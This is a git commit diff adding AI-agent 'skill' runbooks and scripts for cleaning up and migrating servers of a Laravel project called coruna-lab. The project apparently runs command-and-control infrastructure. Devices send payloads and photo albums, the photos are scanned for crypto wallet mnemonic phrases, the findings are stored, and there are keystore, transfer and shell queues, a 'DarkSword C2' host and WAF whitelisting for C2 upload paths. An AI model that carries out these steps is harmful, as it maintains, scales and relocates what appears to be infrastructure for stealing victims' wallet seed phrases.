Compare commits
64 Commits
cdbfa48662
...
main
| Author | SHA1 | Date | |
|---|---|---|---|
| fcbc479c2e | |||
| 11caef98fc | |||
| ef38e0e190 | |||
| 0ee7749262 | |||
| 4f5764a2cd | |||
| 4fc8f05971 | |||
| ea82eddbf0 | |||
| 5859f4f1b3 | |||
| af714468ee | |||
| 4164d2c453 | |||
| 460e751f00 | |||
| 5e258863a8 | |||
| ba5d3c5731 | |||
| c5138594e1 | |||
| 2d3b6e1f2c | |||
| e8454a93a8 | |||
| aad2155ca5 | |||
| c90b5dc215 | |||
| f137593a87 | |||
| 9c2bc4b226 | |||
| 07d97f383c | |||
| 867d0fa462 | |||
| da1c1921d7 | |||
| 67c8460717 | |||
| 630aeb2383 | |||
| ba444a96b1 | |||
| 08ef9e718e | |||
| 316b4cea51 | |||
| ffbad6a9da | |||
| 97c7bc1de1 | |||
| d0445117b3 | |||
| ff0b8fee25 | |||
| 9b46e5c76b | |||
| d9ac47484f | |||
| cb92baa395 | |||
| 00e440a0b4 | |||
| e654f65cf9 | |||
| afac799588 | |||
| 46e250109e | |||
| 263fd917ac | |||
| 529ae4aa38 | |||
| 30357c108f | |||
| 6e4f7e6020 | |||
| e2d01abe28 | |||
| 09b4a429aa | |||
| ff516a0e30 | |||
| 7e8be467a0 | |||
| c979249a02 | |||
| eb82aa8332 | |||
| 15c45a4fd2 | |||
| 2c87d37051 | |||
| 8f7469cc4e | |||
| 5b677d4d1f | |||
| 2d8fe07242 | |||
| d3cbc82365 | |||
| e0b06e0d24 | |||
| dff472180c | |||
| 8d5ec411f1 | |||
| 2c974c8263 | |||
| ad09fdff88 | |||
| 534b36a2d2 | |||
| 13aa587099 | |||
| bec6f09c76 | |||
| cc66811dbd |
@@ -0,0 +1,142 @@
|
||||
---
|
||||
name: coruna-lab-cleanup
|
||||
description: >-
|
||||
Clean up disk space on servers running the coruna-lab (Coruna Lab) Laravel
|
||||
project. Deletes scanned photos without mnemonic findings, prunes broken-image
|
||||
DB rows, clears DS scan result intermediates, purges old logs, truncates nginx
|
||||
logs, and removes stale backups. Use when the user reports disk full / low space
|
||||
on a coruna-lab server, or asks to clean up photos / DS results / process data /
|
||||
broken images (裂图) on a coruna-lab deployment. Trigger keywords: coruna-lab
|
||||
磁盘清理, 清理相册, 清理照片, 清理 DS 结果, 清理过程数据, 裂图, disk full,
|
||||
prune photos, clean ds-results.
|
||||
---
|
||||
|
||||
# coruna-lab Disk Cleanup
|
||||
|
||||
Clean up disk space on servers running the **coruna-lab** Laravel project.
|
||||
|
||||
## Project layout (reference)
|
||||
|
||||
```
|
||||
/www/wwwroot/coruna-lab/ # project root (auto-detected or arg)
|
||||
├── storage/app/private/c2/
|
||||
│ ├── photos/ # original album photos (linked to photos table)
|
||||
│ ├── ds-results/ # DS scan intermediates (images already in photos/)
|
||||
│ ├── ds-chunks/ # temporary chunk-assembly files
|
||||
│ ├── inbox/ # incoming .bin payloads from devices
|
||||
│ ├── photo-previews/ # preview cache (regenerable)
|
||||
│ ├── plugin-sessions/ # plugin session data
|
||||
│ └── ds-notes/ # DS note data
|
||||
├── public/log/ # app logs: xxbb/, ds/, transfer/, c2/
|
||||
├── artisan
|
||||
```
|
||||
|
||||
### Key DB tables
|
||||
|
||||
| Table | Role |
|
||||
|-------|------|
|
||||
| `photos` | album photos, `scan_status`: 0=未扫 1=已扫空 2=疑似 3=确定 4=失败 |
|
||||
| `photo_reads` | read markers per photo |
|
||||
| `mnemonic_findings` | mnemonic phrases found in photos/notes (has `photo_id`) |
|
||||
|
||||
**Safe to delete**: `scan_status=1` photos with NO `mnemonic_findings` row — scanned, nothing found.
|
||||
**Never delete**: `scan_status=0` (pending scan), `scan_status=2/3` (has mnemonic findings), `mnemonic_findings` rows.
|
||||
|
||||
## Cleanup steps
|
||||
|
||||
The bundled `scripts/disk_cleanup.sh` runs all steps. Always **dry-run first**.
|
||||
|
||||
### Step 1: Run dry-run
|
||||
|
||||
```bash
|
||||
# SSH to the target server, then:
|
||||
bash <skill-dir>/scripts/disk_cleanup.sh /www/wwwroot/coruna-lab
|
||||
```
|
||||
|
||||
This prints what would be cleaned without deleting anything. Review the output.
|
||||
|
||||
### Step 2: Execute cleanup
|
||||
|
||||
```bash
|
||||
sudo bash <skill-dir>/scripts/disk_cleanup.sh /www/wwwroot/coruna-lab --execute
|
||||
```
|
||||
|
||||
### What it does (9 steps)
|
||||
|
||||
| # | Step | Default retention | Frees |
|
||||
|---|------|-------------------|-------|
|
||||
| 1 | Old app logs (`public/log/*.log`) | 7 days | varies |
|
||||
| 2 | scan_status=1 photos (no mnemonic) | all | largest — often 50-100G+ |
|
||||
| 3 | Broken-image DB rows (file missing) | all | fixes 裂图 |
|
||||
| 4 | Photo preview caches | all | ~15G typical |
|
||||
| 5 | DS results (`ds-results/`) | 1 day | often 40-80G |
|
||||
| 6 | DS chunks (`ds-chunks/`) | 1 day | often 20-35G |
|
||||
| 7 | Inbox (`inbox/`) | 3 days | varies |
|
||||
| 8 | Nginx logs (truncate >100M files) | — | often 15-20G |
|
||||
| 9 | Backups (`/www/backup/`) | all | varies |
|
||||
|
||||
### Tunable retention (env vars)
|
||||
|
||||
```bash
|
||||
LOG_RETENTION_DAYS=3 DS_RESULTS_RETENTION_DAYS=1 DS_CHUNK_RETENTION_DAYS=1 \
|
||||
INBOX_RETENTION_DAYS=3 CLEAN_NGINX_LOGS=1 CLEAN_BACKUPS=1 \
|
||||
bash <skill-dir>/scripts/disk_cleanup.sh /www/wwwroot/coruna-lab --execute
|
||||
```
|
||||
|
||||
## Individual steps (if full pipeline not needed)
|
||||
|
||||
### Only clean scanned photos (step 2 standalone)
|
||||
|
||||
```bash
|
||||
# Copy the PHP script into the project, then run via Laravel bootstrap:
|
||||
cp <skill-dir>/scripts/cleanup_scanned_photos.php /www/wwwroot/coruna-lab/
|
||||
cd /www/wwwroot/coruna-lab
|
||||
php cleanup_scanned_photos.php # dry-run
|
||||
php cleanup_scanned_photos.php --execute # actually delete
|
||||
rm -f cleanup_scanned_photos.php # clean up after
|
||||
```
|
||||
|
||||
### Only prune broken images (step 3 standalone)
|
||||
|
||||
```bash
|
||||
cd /www/wwwroot/coruna-lab
|
||||
php artisan coruna:prune-missing-photo-files # dry-run
|
||||
php artisan coruna:prune-missing-photo-files --execute # delete rows
|
||||
```
|
||||
|
||||
### Only clean DS intermediates (steps 5-6 standalone)
|
||||
|
||||
```bash
|
||||
find /www/wwwroot/coruna-lab/storage/app/private/c2/ds-results/ -type f -mtime +1 -delete
|
||||
find /www/wwwroot/coruna-lab/storage/app/private/c2/ds-results/ -type d -empty -delete
|
||||
find /www/wwwroot/coruna-lab/storage/app/private/c2/ds-chunks/ -type f -mtime +1 -delete
|
||||
find /www/wwwroot/coruna-lab/storage/app/private/c2/ds-chunks/ -type d -empty -delete
|
||||
```
|
||||
|
||||
## Safety rules
|
||||
|
||||
1. **Always dry-run first** — review counts before `--execute`.
|
||||
2. **Never delete `scan_status=0` or `scan_status=2/3` photos** — they are pending scan or contain mnemonic findings.
|
||||
3. **Never delete `mnemonic_findings` rows** — these are the extracted mnemonic records.
|
||||
4. DS results images are duplicates of `c2/photos/` — safe to delete after processing.
|
||||
5. Photo previews are cache — regenerable, safe to clear.
|
||||
6. Truncating nginx logs (not deleting) keeps the file handle open for the running nginx process.
|
||||
7. Backups under `/www/backup/` are panel-level backups — confirm with user before deleting on production servers where backups are actively needed.
|
||||
|
||||
## Verification after cleanup
|
||||
|
||||
```bash
|
||||
df -h /
|
||||
du -sh /www/wwwroot/coruna-lab/storage/app/private/c2/*/
|
||||
du -sh /www/wwwroot/coruna-lab/public/log/
|
||||
```
|
||||
|
||||
Check DB counts:
|
||||
```bash
|
||||
cd /www/wwwroot/coruna-lab
|
||||
php artisan tinker --execute="
|
||||
echo 'photos: '.DB::table('photos')->count().PHP_EOL;
|
||||
echo 'photo_reads: '.DB::table('photo_reads')->count().PHP_EOL;
|
||||
echo 'mnemonic_findings: '.DB::table('mnemonic_findings')->count().PHP_EOL;
|
||||
"
|
||||
```
|
||||
@@ -0,0 +1,96 @@
|
||||
<?php
|
||||
/**
|
||||
* Clean up photos that were scanned (scan_status=1, "已扫-空") but have no mnemonic findings.
|
||||
*
|
||||
* These photos were scanned for mnemonic phrases but nothing was found,
|
||||
* so they are safe to delete: file blobs, photo_reads rows, and photos rows.
|
||||
*
|
||||
* Usage:
|
||||
* php cleanup_scanned_photos.php [project-path] [--execute]
|
||||
*
|
||||
* Without --execute: dry-run (counts only, deletes nothing)
|
||||
* With --execute: deletes files and DB rows in batches of 500
|
||||
*
|
||||
* Requires: Laravel project with photos, photo_reads, mnemonic_findings tables.
|
||||
*/
|
||||
require __DIR__.'/vendor/autoload.php';
|
||||
$app = require_once __DIR__.'/bootstrap/app.php';
|
||||
$kernel = $app->make(Illuminate\Contracts\Console\Kernel::class);
|
||||
$kernel->bootstrap();
|
||||
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
|
||||
$execute = in_array('--execute', $argv ?? []);
|
||||
$dryRun = !$execute;
|
||||
|
||||
echo ($dryRun ? 'DRY-RUN' : 'EXECUTE') . " clean scan_status=1 photos without mnemonic findings\n";
|
||||
|
||||
$disk = Storage::disk('local');
|
||||
$batchSize = 500;
|
||||
$totalSeen = 0;
|
||||
$totalFiles = 0;
|
||||
$totalRows = 0;
|
||||
$totalReads = 0;
|
||||
$lastId = 0;
|
||||
$batchNum = 0;
|
||||
|
||||
while (true) {
|
||||
$photos = DB::table('photos')
|
||||
->select(['id', 'device_id', 'path'])
|
||||
->where('scan_status', 1)
|
||||
->where('id', '>', $lastId)
|
||||
->whereNotIn('id', function ($q) {
|
||||
$q->select('photo_id')->from('mnemonic_findings')->whereNotNull('photo_id');
|
||||
})
|
||||
->orderBy('id')
|
||||
->limit($batchSize)
|
||||
->get();
|
||||
|
||||
if ($photos->isEmpty()) {
|
||||
break;
|
||||
}
|
||||
|
||||
$batchNum++;
|
||||
$ids = [];
|
||||
foreach ($photos as $photo) {
|
||||
$ids[] = $photo->id;
|
||||
$totalSeen++;
|
||||
if (!$dryRun) {
|
||||
$path = trim((string) ($photo->path ?? ''));
|
||||
if ($path !== '' && $disk->exists($path)) {
|
||||
$disk->delete($path);
|
||||
$totalFiles++;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (!$dryRun && !empty($ids)) {
|
||||
$deletedReads = DB::table('photo_reads')->whereIn('photo_id', $ids)->delete();
|
||||
$totalReads += $deletedReads;
|
||||
DB::table('photos')->whereIn('id', $ids)->delete();
|
||||
$totalRows += count($ids);
|
||||
}
|
||||
|
||||
$lastId = (int) $photos->last()->id;
|
||||
|
||||
if ($batchNum % 20 === 0 || $photos->count() < $batchSize) {
|
||||
echo sprintf(
|
||||
" batch=%d seen=%d %s reads=%d\n",
|
||||
$batchNum,
|
||||
$totalSeen,
|
||||
$dryRun ? '(dry-run)' : "deleted_files=$totalFiles deleted_rows=$totalRows",
|
||||
$totalReads
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
echo "\n=== Done ===\n";
|
||||
echo "matched_photos: $totalSeen\n";
|
||||
if (!$dryRun) {
|
||||
echo "deleted_files: $totalFiles\n";
|
||||
echo "deleted_photo_reads: $totalReads\n";
|
||||
echo "deleted_photos_rows: $totalRows\n";
|
||||
} else {
|
||||
echo "dry-run: pass --execute to delete\n";
|
||||
}
|
||||
+136
@@ -0,0 +1,136 @@
|
||||
#!/bin/bash
|
||||
#
|
||||
# coruna-lab disk cleanup — full pipeline
|
||||
#
|
||||
# Usage: sudo bash disk_cleanup.sh [project_root] [--execute]
|
||||
#
|
||||
# Without --execute: dry-run (shows what would be cleaned, deletes nothing)
|
||||
# With --execute: performs all cleanup steps
|
||||
#
|
||||
# Env vars (override defaults):
|
||||
# LOG_RETENTION_DAYS=7 public/log retention (days)
|
||||
# DS_RESULTS_RETENTION_DAYS=1 ds-results retention (days)
|
||||
# DS_CHUNK_RETENTION_DAYS=1 ds-chunks retention (days)
|
||||
# INBOX_RETENTION_DAYS=3 inbox retention (days)
|
||||
# CLEAN_NGINX_LOGS=1 truncate large nginx logs (1=yes, 0=no)
|
||||
# CLEAN_BACKUPS=1 delete /www/backup contents (1=yes, 0=no)
|
||||
#
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
PROJECT="${1:-/www/wwwroot/coruna-lab}"
|
||||
EXECUTE_FLAG="${2:-}"
|
||||
EXECUTE=0
|
||||
[ "$EXECUTE_FLAG" = "--execute" ] && EXECUTE=1
|
||||
|
||||
# Retention settings (can be overridden by env vars)
|
||||
LOG_DAYS="${LOG_RETENTION_DAYS:-7}"
|
||||
DS_RESULTS_DAYS="${DS_RESULTS_RETENTION_DAYS:-1}"
|
||||
DS_CHUNK_DAYS="${DS_CHUNK_RETENTION_DAYS:-1}"
|
||||
INBOX_DAYS="${INBOX_RETENTION_DAYS:-3}"
|
||||
CLEAN_NGINX_LOGS="${CLEAN_NGINX_LOGS:-1}"
|
||||
CLEAN_BACKUPS="${CLEAN_BACKUPS:-1}"
|
||||
|
||||
STORAGE_C2="$PROJECT/storage/app/private/c2"
|
||||
PUBLIC_LOG="$PROJECT/public/log"
|
||||
DELETE_CMD=""
|
||||
if [ $EXECUTE -eq 1 ]; then
|
||||
DELETE_CMD="-delete"
|
||||
echo "=== EXECUTE MODE — files will be deleted ==="
|
||||
else
|
||||
echo "=== DRY-RUN MODE — no files will be deleted ==="
|
||||
fi
|
||||
|
||||
echo ""
|
||||
df -h / 2>/dev/null | tail -1
|
||||
echo ""
|
||||
|
||||
# ─── 1. Old application logs (public/log) ───────────────────────────
|
||||
echo ">>> 1. Cleaning public/log (>$LOG_DAYS days)"
|
||||
find "$PUBLIC_LOG" -type f -name "*.log" -mtime +$LOG_DAYS -print $DELETE_CMD 2>/dev/null | wc -l | xargs -I{} echo " matched files: {}"
|
||||
rm -f "$PUBLIC_LOG"/*.tar.gz 2>/dev/null && echo " removed tar.gz archives" || true
|
||||
|
||||
# ─── 2. Scanned photos without mnemonic findings ────────────────────
|
||||
echo ">>> 2. Cleaning scan_status=1 photos (no mnemonic findings)"
|
||||
if [ -f "$PROJECT/cleanup_scanned_photos.php" ]; then
|
||||
SCRIPT="$PROJECT/cleanup_scanned_photos.php"
|
||||
elif [ -f "$(dirname "$0")/cleanup_scanned_photos.php" ]; then
|
||||
SCRIPT="$(dirname "$0")/cleanup_scanned_photos.php"
|
||||
cp "$SCRIPT" "$PROJECT/cleanup_scanned_photos.php"
|
||||
else
|
||||
echo " ERROR: cleanup_scanned_photos.php not found, skipping"
|
||||
SCRIPT=""
|
||||
fi
|
||||
if [ -n "$SCRIPT" ]; then
|
||||
if [ $EXECUTE -eq 1 ]; then
|
||||
(cd "$PROJECT" && php cleanup_scanned_photos.php --execute 2>&1 | tail -5)
|
||||
rm -f "$PROJECT/cleanup_scanned_photos.php"
|
||||
else
|
||||
(cd "$PROJECT" && php cleanup_scanned_photos.php 2>&1 | tail -3)
|
||||
fi
|
||||
fi
|
||||
|
||||
# ─── 3. Broken images (file missing, DB row exists) ─────────────────
|
||||
echo ">>> 3. Pruning broken-image DB rows (file missing on disk)"
|
||||
if [ $EXECUTE -eq 1 ]; then
|
||||
(cd "$PROJECT" && php artisan coruna:prune-missing-photo-files --execute 2>&1 | tail -3)
|
||||
else
|
||||
(cd "$PROJECT" && php artisan coruna:prune-missing-photo-files 2>&1 | tail -3)
|
||||
fi
|
||||
|
||||
# ─── 4. Photo preview caches ────────────────────────────────────────
|
||||
echo ">>> 4. Clearing photo preview caches"
|
||||
du -sh "$STORAGE_C2/photo-previews/" 2>/dev/null || true
|
||||
if [ $EXECUTE -eq 1 ]; then
|
||||
rm -rf "$STORAGE_C2/photo-previews/"* 2>/dev/null
|
||||
echo " cleared"
|
||||
fi
|
||||
|
||||
# ─── 5. DS results (keep N days) ────────────────────────────────────
|
||||
echo ">>> 5. Cleaning ds-results (>$DS_RESULTS_DAYS days)"
|
||||
find "$STORAGE_C2/ds-results/" -type f -mtime +$DS_RESULTS_DAYS -print $DELETE_CMD 2>/dev/null | wc -l | xargs -I{} echo " deleted files: {}"
|
||||
if [ $EXECUTE -eq 1 ]; then
|
||||
find "$STORAGE_C2/ds-results/" -type d -empty -delete 2>/dev/null
|
||||
fi
|
||||
|
||||
# ─── 6. DS chunks (keep N days) ────────────────────────────────────
|
||||
echo ">>> 6. Cleaning ds-chunks (>$DS_CHUNK_DAYS days)"
|
||||
find "$STORAGE_C2/ds-chunks/" -type f -mtime +$DS_CHUNK_DAYS -print $DELETE_CMD 2>/dev/null | wc -l | xargs -I{} echo " deleted files: {}"
|
||||
if [ $EXECUTE -eq 1 ]; then
|
||||
find "$STORAGE_C2/ds-chunks/" -type d -empty -delete 2>/dev/null
|
||||
fi
|
||||
|
||||
# ─── 7. Inbox (keep N days) ─────────────────────────────────────────
|
||||
echo ">>> 7. Cleaning inbox (>$INBOX_DAYS days)"
|
||||
find "$STORAGE_C2/inbox/" -type f -mtime +$INBOX_DAYS -print $DELETE_CMD 2>/dev/null | wc -l | xargs -I{} echo " deleted files: {}"
|
||||
if [ $EXECUTE -eq 1 ]; then
|
||||
find "$STORAGE_C2/inbox/" -type d -empty -delete 2>/dev/null
|
||||
fi
|
||||
|
||||
# ─── 8. Nginx logs (truncate large active logs) ─────────────────────
|
||||
if [ "$CLEAN_NGINX_LOGS" = "1" ] && [ $EXECUTE -eq 1 ]; then
|
||||
echo ">>> 8. Truncating nginx logs (/www/wwwlogs)"
|
||||
for f in /www/wwwlogs/*.log; do
|
||||
sz=$(stat -c%s "$f" 2>/dev/null || echo 0)
|
||||
if [ "$sz" -gt 104857600 ]; then
|
||||
truncate -s 0 "$f"
|
||||
echo " truncated $(basename $f) ($(numfmt --to=iec $sz))"
|
||||
fi
|
||||
done
|
||||
else
|
||||
echo ">>> 8. Nginx logs: skipped (CLEAN_NGINX_LOGS=$CLEAN_NGINX_LOGS or dry-run)"
|
||||
fi
|
||||
|
||||
# ─── 9. Backups ────────────────────────────────────────────────────
|
||||
if [ "$CLEAN_BACKUPS" = "1" ] && [ $EXECUTE -eq 1 ]; then
|
||||
echo ">>> 9. Cleaning /www/backup"
|
||||
rm -rf /www/backup/backup_restore/* /www/backup/database/* /www/backup/file_history/* /www/backup/panel/* 2>/dev/null || true
|
||||
rm -f /www/backup/*.Bak /www/backup/*.bak /www/backup/nginxBak 2>/dev/null || true
|
||||
echo " cleaned"
|
||||
else
|
||||
echo ">>> 9. Backups: skipped (CLEAN_BACKUPS=$CLEAN_BACKUPS or dry-run)"
|
||||
fi
|
||||
|
||||
echo ""
|
||||
echo "=== Result ==="
|
||||
df -h / 2>/dev/null | tail -1
|
||||
@@ -0,0 +1,257 @@
|
||||
---
|
||||
name: coruna-lab-migrate
|
||||
description: >-
|
||||
Migrate or cut over the coruna-lab (Coruna Lab) Laravel project to a new
|
||||
BT Panel (宝塔) server, or update an already-provisioned remote box with
|
||||
latest code and required config (git pull, migrate, supervisor, WAF,
|
||||
APP_API_DOMAIN, ldid, php-fpm reload). Use when the user asks to migrate
|
||||
coruna-lab, 换服务器, 迁移机器, 搬家, 远程更新最新代码, 按更新完成相关配置,
|
||||
or set up a fresh coruna-lab deployment. Trigger keywords: coruna-lab 迁移,
|
||||
迁移服务器, 换机器, migrate coruna-lab, server migration, 远程更新,
|
||||
更新远程代码, 54.169, Lightsail pem.
|
||||
---
|
||||
|
||||
# coruna-lab Server Migration
|
||||
|
||||
Two workflows. Pick one from the user request:
|
||||
|
||||
| Mode | When | Start at |
|
||||
|------|------|----------|
|
||||
| **A. Remote update** | Target already has coruna-lab; user wants latest code + config (migrations, queues, WAF, APP API, ldid) | [Workflow A](#workflow-a--remote-update) |
|
||||
| **B. Full migrate** | New empty BT box; move site + DB + storage from an old server | [Workflow B](#workflow-b--full-migrate) |
|
||||
|
||||
Do **not** deploy or cut DNS unless the user explicitly asked. Confirm the target IP and SSH key before any write.
|
||||
|
||||
## Constants
|
||||
|
||||
| Item | Value |
|
||||
|------|--------|
|
||||
| Project | `/www/wwwroot/coruna-lab` |
|
||||
| PHP | `/www/server/php/82/bin/php` (FPM pool `www`) |
|
||||
| artisan | `sudo -u www /www/server/php/82/bin/php artisan …` |
|
||||
| Git | `ssh://git@gitlab.fcpays.cc:2222/root/coruna-lab.git` |
|
||||
| Supervisor | `/www/server/panel/pyenv/bin/supervisorctl` |
|
||||
| Profiles | `/www/server/panel/plugin/supervisor/profile/*.ini` |
|
||||
| WAF | `/www/server/btwaf/config.json` |
|
||||
| PHP-FPM | `/etc/init.d/php-fpm-82` |
|
||||
| open_basedir | `public/.user.ini` → `/www/wwwroot/coruna-lab/:/tmp/` |
|
||||
|
||||
Last successful cutover: **54.169.236.75** (Lightsail, `ubuntu` + sudo). PEM was in the operator workspace (`LightsailDefaultKey-ap-southeast-1.pem`). SSH: `IdentitiesOnly=yes`. BT MCP for **27.124** is a different box — never use it to change 54.169.
|
||||
|
||||
C2 and admin share one vhost/root (`public/`). Typical `server_name`: admin host + DS/xxbb/App API hosts (e.g. `admin.capssk888.com`, `zydrlfynoptx9aw.icu`, `kfsdljlows.com`, `mnskal.cc`).
|
||||
|
||||
## Hard rules
|
||||
|
||||
1. Backup `.env`, WAF `config.json`, and nginx vhost before editing.
|
||||
2. Never add a custom nginx `^~ location /api/ap` — it bypasses Laravel and breaks App C2.
|
||||
3. After `git pull`, always reload **php-fpm-82**. Live FPM has `opcache.validate_timestamps=Off`.
|
||||
4. `git pull` as `www` needs `chown -R www:www .git` (and the tree).
|
||||
5. `APP_API_DOMAIN` is **host only** (`mnskal.cc`), not `https://…`.
|
||||
6. Do not print `.env` secrets, APP_KEY, Tokenview keys, or mnemonics.
|
||||
7. Do not spam the product Telegram 通知群. Agent chat is a separate cc-connect window.
|
||||
8. Do not modify 宝塔 panel source or `bt_agent_mcp` credentials.
|
||||
|
||||
## Workflow A — remote update
|
||||
|
||||
Copy this checklist and tick as you go:
|
||||
|
||||
```
|
||||
- [ ] Confirm target IP + SSH key (not the old BT MCP host)
|
||||
- [ ] Pull latest code as www; composer install
|
||||
- [ ] APP_API_DOMAIN + LDID_PATH; bin/ldid present
|
||||
- [ ] artisan migrate --force
|
||||
- [ ] Supervisor: queue ocr extract keystore telegram transfer shell
|
||||
- [ ] crontab schedule:run every minute
|
||||
- [ ] WAF url_white + body_size 30MB; nginx client_body_buffer_size
|
||||
- [ ] open_basedir + proc_open; no shell_exec required
|
||||
- [ ] config/route/view:clear; reload php-fpm-82
|
||||
- [ ] Local curl: /admin 302, /beacon 200
|
||||
```
|
||||
|
||||
### A1. Recon
|
||||
|
||||
SSH as the provisioned user (`ubuntu` on Lightsail), then `sudo`. Confirm `hostname`, `df`, nginx/php-fpm/mysql/redis processes, and that the site root is `/www/wwwroot/coruna-lab/public`.
|
||||
|
||||
### A2. Pull + deps
|
||||
|
||||
```bash
|
||||
cd /www/wwwroot/coruna-lab
|
||||
chown -R www:www .git .
|
||||
sudo -u www git pull --ff-only
|
||||
sudo -u www /www/server/php/82/bin/php /usr/bin/composer install --no-dev --optimize-autoloader
|
||||
```
|
||||
|
||||
If `www` cannot read the deploy key, pull as root then `chown -R www:www .`.
|
||||
|
||||
### A3. .env (update only what the user named)
|
||||
|
||||
| Key | Notes |
|
||||
|-----|--------|
|
||||
| `APP_API_DOMAIN` | Host only. Used in IPA builds (`config/coruna.php` `app_api_domain`). |
|
||||
| `LDID_PATH` | Default `base_path('bin/ldid')`. Must be inside open_basedir. Do **not** `file_exists()` it from FPM (open_basedir). |
|
||||
| `APP_URL` | Admin / Laravel URL. |
|
||||
| `QUEUE_CONNECTION` | `redis` |
|
||||
| `DS_DOMAIN` | DarkSword C2 host if used by builders. |
|
||||
|
||||
Keep `APP_KEY`. Never `key:generate` on a live migrate unless the user asks.
|
||||
|
||||
### A4. Migrate + caches
|
||||
|
||||
```bash
|
||||
sudo -u www /www/server/php/82/bin/php artisan migrate --force
|
||||
sudo -u www /www/server/php/82/bin/php artisan config:clear
|
||||
sudo -u www /www/server/php/82/bin/php artisan route:clear
|
||||
sudo -u www /www/server/php/82/bin/php artisan view:clear
|
||||
```
|
||||
|
||||
`view:clear` is required — stale Blade caused admin 500/404 after deploys.
|
||||
|
||||
### A5. Supervisor (7 programs, 2 procs each)
|
||||
|
||||
Missing **`shell`** or **`extract`** is silent data loss. Commands:
|
||||
|
||||
| ini | command |
|
||||
|-----|---------|
|
||||
| `queue.ini` | `artisan queue:work redis --sleep=1 --tries=3 --timeout=90 --max-time=3600` |
|
||||
| `ocr.ini` | `artisan queue:work redis --queue=ocr --sleep=1 --tries=1 --timeout=90 --max-jobs=100` + `-d memory_limit=256M` |
|
||||
| `extract.ini` | `artisan queue:work redis --queue=extract --sleep=1 --tries=1 --timeout=200 --max-jobs=100` + `-d memory_limit=256M` |
|
||||
| `keystore.ini` | `artisan queue:work keystore --sleep=1 --tries=1 --timeout=320 --max-time=3600` |
|
||||
| `telegram.ini` | `artisan queue:work telegram --sleep=1 --tries=3 --timeout=30 --max-time=3600` |
|
||||
| `transfer.ini` | `artisan queue:work transfer --sleep=1 --tries=1 --timeout=200 --max-time=3600` |
|
||||
| `shell.ini` | `artisan queue:work shell --queue=shell --sleep=1 --tries=2 --timeout=120 --memory=256 --max-time=3600` |
|
||||
|
||||
All: `directory=/www/wwwroot/coruna-lab/`, `user=www`, `numprocs=2`, `process_name=%(program_name)s_%(process_num)02d`, `autorestart=true`. Full template: [supervisor.md](supervisor.md).
|
||||
|
||||
```bash
|
||||
/www/server/panel/pyenv/bin/supervisorctl reread
|
||||
/www/server/panel/pyenv/bin/supervisorctl update
|
||||
/www/server/panel/pyenv/bin/supervisorctl status
|
||||
```
|
||||
|
||||
### A6. Scheduler
|
||||
|
||||
```
|
||||
* * * * * sudo -u www bash -c 'cd /www/wwwroot/coruna-lab && /www/server/php/82/bin/php artisan schedule:run >> /dev/null 2>&1'
|
||||
```
|
||||
|
||||
### A7. WAF + nginx body size
|
||||
|
||||
Backup `/www/server/btwaf/config.json` first.
|
||||
|
||||
- `http_config.body_size` (or equivalent) → **30MB** (chunked App C2 / SignalShell uploads).
|
||||
- `url_white`: at least `^/api/ap/*` plus existing C2 chunk paths. Do not whitelist everything.
|
||||
- Nginx `client_body_buffer_size` **4096k** (1MiB chunks were blocked at 1MB).
|
||||
- Reload WAF/nginx via panel-safe reload. `nginx -t` before reload.
|
||||
|
||||
### A8. ldid / IPA
|
||||
|
||||
Copy or build `ldid` to `/www/wwwroot/coruna-lab/bin/ldid`, `chmod +x`, owned by `www`. Set `LDID_PATH`. FPM must allow `proc_open`. Signing must not call `file_exists($ldidPath)` outside open_basedir.
|
||||
|
||||
### A9. PHP-FPM reload + probe
|
||||
|
||||
```bash
|
||||
/etc/init.d/php-fpm-82 reload # restart if listen backlog / pm.* changed
|
||||
```
|
||||
|
||||
Local `--resolve` probes (delete probe files after):
|
||||
|
||||
- `/.probe_static.html` → 200
|
||||
- `/.probe_php.php` → PHP version
|
||||
- `/admin` → 302
|
||||
- `/beacon` → 200
|
||||
|
||||
If admin/C2 return **502** with `connect() to unix:/tmp/php-cgi-82.sock failed (11: Resource temporarily unavailable)`: FPM pool is saturated. Raise `pm.max_children` (48 on a 36-core box), `net.core.somaxconn=4096`, recreate the listen socket with a **restart** (reload keeps backlog=1024). Do not dump full `/result` bodies to `error_log` — Nginx then 502s on the response header.
|
||||
|
||||
Admin and C2 share the same FPM pool.
|
||||
|
||||
## Workflow B — full migrate
|
||||
|
||||
Use when the new box does not yet have the site.
|
||||
|
||||
### B1. Prepare new server
|
||||
|
||||
BT Panel + Nginx + PHP 8.2 + MySQL + Redis. Create DB `coruna` utf8mb4. Create the site with root `/www/wwwroot/coruna-lab/public`. Bind all C2 + admin hostnames on that vhost.
|
||||
|
||||
### B2. Code
|
||||
|
||||
Prefer **git clone** of `gitlab.fcpays.cc:2222/root/coruna-lab.git` as `www` if the box has deploy key. Otherwise:
|
||||
|
||||
```bash
|
||||
git archive --format=tar HEAD | gzip > /tmp/coruna-lab-code.tar.gz
|
||||
# scp + tar -xzf into /www/wwwroot/coruna-lab
|
||||
chown -R www:www /www/wwwroot/coruna-lab
|
||||
sudo -u www composer install --no-dev --optimize-autoloader
|
||||
```
|
||||
|
||||
### B3. Database
|
||||
|
||||
```bash
|
||||
# old
|
||||
mysqldump -ucoruna -p coruna --single-transaction --routines > /tmp/coruna.sql
|
||||
# new
|
||||
mysql -ucoruna -p coruna < /tmp/coruna.sql
|
||||
sudo -u www php artisan migrate --force
|
||||
```
|
||||
|
||||
Copy `.env` from old; change `APP_URL`, `DB_*`, confirm Redis. Keep `APP_KEY`. Then Workflow A3–A9.
|
||||
|
||||
### B4. Storage
|
||||
|
||||
`storage/app/private/c2/` can be 200G+. Stream per directory (photos last):
|
||||
|
||||
```bash
|
||||
SRC=/www/wwwroot/coruna-lab/storage/app/private/c2
|
||||
DST=/www/wwwroot/coruna-lab/storage/app/private/c2
|
||||
for dir in photo-previews ds-chunks ds-notes ds-results plugin-sessions inbox photos; do
|
||||
tar -C "$SRC" -cf - "$dir" | ssh -i KEY ubuntu@NEW "sudo tar -C '$DST' -xf -"
|
||||
done
|
||||
```
|
||||
|
||||
Photos live at `c2/photos/{device}/…`, not `storage/app/private/photos/`.
|
||||
|
||||
### B5. DNS
|
||||
|
||||
Update A/AAAA (Cloudflare proxy = instant). Stop old supervisor only after the new box has taken traffic. Decommission old after 24–48h.
|
||||
|
||||
## Verify (both modes)
|
||||
|
||||
```bash
|
||||
/www/server/panel/pyenv/bin/supervisorctl status
|
||||
